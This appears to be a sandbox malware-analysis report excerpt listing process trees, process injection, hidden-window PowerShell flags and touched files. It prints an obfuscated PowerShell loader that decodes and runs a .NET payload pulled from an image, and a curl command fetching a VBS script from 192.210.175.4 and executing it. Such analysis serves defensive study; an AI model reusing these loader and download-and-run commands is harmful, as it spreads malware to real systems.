⇵HU⁂⇵YgBz⁂⇵HQ⁂⇵cgBp⁂⇵G4⁂⇵Zw⁂⇵o⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵s⁂⇵C⁂⇵⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BM⁂⇵GU⁂⇵bgBn⁂⇵HQ⁂⇵a⁂⇵⁂⇵p⁂⇵Ds⁂⇵J⁂⇵Bj⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵g⁂⇵D0⁂⇵I⁂⇵Bb⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵QwBv⁂⇵G4⁂⇵dgBl⁂⇵HI⁂⇵d⁂⇵Bd⁂⇵Do⁂⇵OgBG⁂⇵HI⁂⇵bwBt⁂⇵EI⁂⇵YQBz⁂⇵GU⁂⇵Ng⁂⇵0⁂⇵FM⁂⇵d⁂⇵By⁂⇵Gk⁂⇵bgBn⁂⇵Cg⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BD⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵Gw⁂⇵bwBh⁂⇵GQ⁂⇵ZQBk⁂⇵EE⁂⇵cwBz⁂⇵GU⁂⇵bQBi⁂⇵Gw⁂⇵eQ⁂⇵g⁂⇵D0⁂⇵I⁂⇵Bb⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵UgBl⁂⇵GY⁂⇵b⁂⇵Bl⁂⇵GM⁂⇵d⁂⇵Bp⁂⇵G8⁂⇵bg⁂⇵u⁂⇵EE⁂⇵cwBz⁂⇵GU⁂⇵bQBi⁂⇵Gw⁂⇵eQBd⁂⇵Do⁂⇵OgBM⁂⇵G8⁂⇵YQBk⁂⇵Cg⁂⇵J⁂⇵Bj⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵p⁂⇵Ds⁂⇵J⁂⇵B0⁂⇵Hk⁂⇵c⁂⇵Bl⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵b⁂⇵Bv⁂⇵GE⁂⇵Z⁂⇵Bl⁂⇵GQ⁂⇵QQBz⁂⇵HM⁂⇵ZQBt⁂⇵GI⁂⇵b⁂⇵B5⁂⇵C4⁂⇵RwBl⁂⇵HQ⁂⇵V⁂⇵B5⁂⇵H⁂⇵⁂⇵ZQ⁂⇵o⁂⇵Cc⁂⇵RgBp⁂⇵GI⁂⇵ZQBy⁂⇵C4⁂⇵S⁂⇵Bv⁂⇵G0⁂⇵ZQ⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵G0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵d⁂⇵B5⁂⇵H⁂⇵⁂⇵ZQ⁂⇵u⁂⇵Ec⁂⇵ZQB0⁂⇵E0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵Cg⁂⇵JwBW⁂⇵EE⁂⇵SQ⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵GE⁂⇵cgBn⁂⇵HU⁂⇵bQBl⁂⇵G4⁂⇵d⁂⇵Bz⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵Cw⁂⇵K⁂⇵⁂⇵n⁂⇵HQ⁂⇵e⁂⇵B0⁂⇵C4⁂⇵S⁂⇵BC⁂⇵C8⁂⇵QQBU⁂⇵FM⁂⇵V⁂⇵⁂⇵v⁂⇵DQ⁂⇵Lg⁂⇵1⁂⇵Dc⁂⇵MQ⁂⇵u⁂⇵D⁂⇵⁂⇵MQ⁂⇵y⁂⇵C4⁂⇵Mg⁂⇵5⁂⇵DE⁂⇵Lw⁂⇵v⁂⇵Do⁂⇵c⁂⇵B0⁂⇵HQ⁂⇵a⁂⇵⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵G0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵C4⁂⇵SQBu⁂⇵HY⁂⇵bwBr⁂⇵GU⁂⇵K⁂⇵⁂⇵k⁂⇵G4⁂⇵dQBs⁂⇵Gw⁂⇵L⁂⇵⁂⇵g⁂⇵CQ⁂⇵YQBy⁂⇵Gc⁂⇵dQBt⁂⇵GU⁂⇵bgB0⁂⇵HM⁂⇵KQ⁂⇵=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂⇵','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
parent_process wscript.exe martian_process powershell -command $Codigo = 'J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵VQBy⁂⇵Gw⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵JwBo⁂⇵HQ⁂⇵d⁂⇵Bw⁂⇵HM⁂⇵Og⁂⇵v⁂⇵C8⁂⇵dQBw⁂⇵Gw⁂⇵bwBh⁂⇵GQ⁂⇵Z⁂⇵Bl⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBu⁂⇵HM⁂⇵LgBj⁂⇵G8⁂⇵bQ⁂⇵u⁂⇵GI⁂⇵cg⁂⇵v⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBz⁂⇵C8⁂⇵M⁂⇵⁂⇵w⁂⇵DQ⁂⇵Lw⁂⇵1⁂⇵DU⁂⇵OQ⁂⇵v⁂⇵DU⁂⇵MQ⁂⇵w⁂⇵C8⁂⇵bwBy⁂⇵Gk⁂⇵ZwBp⁂⇵G4⁂⇵YQBs⁂⇵C8⁂⇵cgB1⁂⇵G0⁂⇵c⁂⇵Bf⁂⇵H⁂⇵⁂⇵cgBp⁂⇵HY⁂⇵YQB0⁂⇵GU⁂⇵LgBq⁂⇵H⁂⇵⁂⇵Zw⁂⇵/⁂⇵DE⁂⇵Ng⁂⇵5⁂⇵D⁂⇵⁂⇵NQ⁂⇵w⁂⇵DQ⁂⇵MQ⁂⇵y⁂⇵Dk⁂⇵Jw⁂⇵7⁂⇵CQ⁂⇵dwBl⁂⇵GI⁂⇵QwBs⁂⇵Gk⁂⇵ZQBu⁂⇵HQ⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵TgBl⁂⇵Hc⁂⇵LQBP⁂⇵GI⁂⇵agBl⁂⇵GM⁂⇵d⁂⇵⁂⇵g⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵TgBl⁂⇵HQ⁂⇵LgBX⁂⇵GU⁂⇵YgBD⁂⇵Gw⁂⇵aQBl⁂⇵G4⁂⇵d⁂⇵⁂⇵7⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵k⁂⇵Hc⁂⇵ZQBi⁂⇵EM⁂⇵b⁂⇵Bp⁂⇵GU⁂⇵bgB0⁂⇵C4⁂⇵R⁂⇵Bv⁂⇵Hc⁂⇵bgBs⁂⇵G8⁂⇵YQBk⁂⇵EQ⁂⇵YQB0⁂⇵GE⁂⇵K⁂⇵⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBV⁂⇵HI⁂⇵b⁂⇵⁂⇵p⁂⇵Ds⁂⇵J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵V⁂⇵Bl⁂⇵Hg⁂⇵d⁂⇵⁂⇵g⁂⇵D0⁂⇵I⁂⇵Bb⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵V⁂⇵Bl⁂⇵Hg⁂⇵d⁂⇵⁂⇵u⁂⇵EU⁂⇵bgBj⁂⇵G8⁂⇵Z⁂⇵Bp⁂⇵G4⁂⇵ZwBd⁂⇵Do⁂⇵OgBV⁂⇵FQ⁂⇵Rg⁂⇵4⁂⇵C4⁂⇵RwBl⁂⇵HQ⁂⇵UwB0⁂⇵HI⁂⇵aQBu⁂⇵Gc⁂⇵K⁂⇵⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBC⁂⇵Hk⁂⇵d⁂⇵Bl⁂⇵HM⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵Jw⁂⇵8⁂⇵Dw⁂⇵QgBB⁂⇵FM⁂⇵RQ⁂⇵2⁂⇵DQ⁂⇵XwBT⁂⇵FQ⁂⇵QQBS⁂⇵FQ⁂⇵Pg⁂⇵+⁂⇵Cc⁂⇵Ow⁂⇵k⁂⇵GU⁂⇵bgBk⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵Jw⁂⇵8⁂⇵Dw⁂⇵QgBB⁂⇵FM⁂⇵RQ⁂⇵2⁂⇵DQ⁂⇵XwBF⁂⇵E4⁂⇵R⁂⇵⁂⇵+⁂⇵D4⁂⇵Jw⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBU⁂⇵GU⁂⇵e⁂⇵B0⁂⇵C4⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵E8⁂⇵Zg⁂⇵o⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵ZQBu⁂⇵GQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵FQ⁂⇵ZQB4⁂⇵HQ⁂⇵LgBJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵TwBm⁂⇵Cg⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BG⁂⇵Gw⁂⇵YQBn⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵HM⁂⇵d⁂⇵Bh⁂⇵HI⁂⇵d⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵t⁂⇵Gc⁂⇵ZQ⁂⇵g⁂⇵D⁂⇵⁂⇵I⁂⇵⁂⇵t⁂⇵GE⁂⇵bgBk⁂⇵C⁂⇵⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵t⁂⇵Gc⁂⇵d⁂⇵⁂⇵g⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵Cs⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵LgBM⁂⇵GU⁂⇵bgBn⁂⇵HQ⁂⇵a⁂⇵⁂⇵7⁂⇵CQ⁂⇵YgBh⁂⇵HM⁂⇵ZQ⁂⇵2⁂⇵DQ⁂⇵T⁂⇵Bl⁂⇵G4⁂⇵ZwB0⁂⇵Gg⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵t⁂⇵C⁂⇵⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵Ds⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BD⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵FQ⁂⇵ZQB4⁂⇵HQ⁂⇵LgBT⁂⇵HU⁂⇵YgBz⁂⇵HQ⁂⇵cgBp⁂⇵G4⁂⇵Zw⁂⇵o⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵s⁂⇵C⁂⇵⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BM⁂⇵GU⁂⇵bgBn⁂⇵HQ⁂⇵a⁂⇵⁂⇵p⁂⇵Ds⁂⇵J⁂⇵Bj⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵g⁂⇵D0⁂⇵I⁂⇵Bb⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵QwBv⁂⇵G4⁂⇵dgBl⁂⇵HI⁂⇵d⁂⇵Bd⁂⇵Do⁂⇵OgBG⁂⇵HI⁂⇵bwBt⁂⇵EI⁂⇵YQBz⁂⇵GU⁂⇵Ng⁂⇵0⁂⇵FM⁂⇵d⁂⇵By⁂⇵Gk⁂⇵bgBn⁂⇵Cg⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BD⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵Gw⁂⇵bwBh⁂⇵GQ⁂⇵ZQBk⁂⇵EE⁂⇵cwBz⁂⇵GU⁂⇵bQBi⁂⇵Gw⁂⇵eQ⁂⇵g⁂⇵D0⁂⇵I⁂⇵Bb⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵UgBl⁂⇵GY⁂⇵b⁂⇵Bl⁂⇵GM⁂⇵d⁂⇵Bp⁂⇵G8⁂⇵bg⁂⇵u⁂⇵EE⁂⇵cwBz⁂⇵GU⁂⇵bQBi⁂⇵Gw⁂⇵eQBd⁂⇵Do⁂⇵OgBM⁂⇵G8⁂⇵YQBk⁂⇵Cg⁂⇵J⁂⇵Bj⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵p⁂⇵Ds⁂⇵J⁂⇵B0⁂⇵Hk⁂⇵c⁂⇵Bl⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵b⁂⇵Bv⁂⇵GE⁂⇵Z⁂⇵Bl⁂⇵GQ⁂⇵QQBz⁂⇵HM⁂⇵ZQBt⁂⇵GI⁂⇵b⁂⇵B5⁂⇵C4⁂⇵RwBl⁂⇵HQ⁂⇵V⁂⇵B5⁂⇵H⁂⇵⁂⇵ZQ⁂⇵o⁂⇵Cc⁂⇵RgBp⁂⇵GI⁂⇵ZQBy⁂⇵C4⁂⇵S⁂⇵Bv⁂⇵G0⁂⇵ZQ⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵G0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵d⁂⇵B5⁂⇵H⁂⇵⁂⇵ZQ⁂⇵u⁂⇵Ec⁂⇵ZQB0⁂⇵E0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵Cg⁂⇵JwBW⁂⇵EE⁂⇵SQ⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵GE⁂⇵cgBn⁂⇵HU⁂⇵bQBl⁂⇵G4⁂⇵d⁂⇵Bz⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵Cw⁂⇵K⁂⇵⁂⇵n⁂⇵HQ⁂⇵e⁂⇵B0⁂⇵C4⁂⇵S⁂⇵BC⁂⇵C8⁂⇵QQBU⁂⇵FM⁂⇵V⁂⇵⁂⇵v⁂⇵DQ⁂⇵Lg⁂⇵1⁂⇵Dc⁂⇵MQ⁂⇵u⁂⇵D⁂⇵⁂⇵MQ⁂⇵y⁂⇵C4⁂⇵Mg⁂⇵5⁂⇵DE⁂⇵Lw⁂⇵v⁂⇵Do⁂⇵c⁂⇵B0⁂⇵HQ⁂⇵a⁂⇵⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵G0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵C4⁂⇵SQBu⁂⇵HY⁂⇵bwBr⁂⇵GU⁂⇵K⁂⇵⁂⇵k⁂⇵G4⁂⇵dQBs⁂⇵Gw⁂⇵L⁂⇵⁂⇵g⁂⇵CQ⁂⇵YQBy⁂⇵Gc⁂⇵dQBt⁂⇵GU⁂⇵bgB0⁂⇵HM⁂⇵KQ⁂⇵=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂⇵','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
parent_process powershell.exe martian_process "C:\Windows\System32\WScript.exe" "C:\Windows\Temp\Debug.vbs"
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden curl http://192.210.175.4/TSTA/1/IE_root.vbs -o C:\Windows\Temp\Debug.vbs
parent_process powershell.exe martian_process C:\Windows\Temp\Debug.vbs
Process injection Process 3008 resumed a thread in remote process 2204
Time & API Arguments Status Return Repeated

NtResumeThread

thread_handle: 0x00000338
suspend_count: 1
process_identifier: 2204
1 0 0
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -windowstyle hidden value Attempts to execute command with a hidden window
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
file C:\util\curl\curl.exe
file C:\Windows\SysWOW64\wscript.exe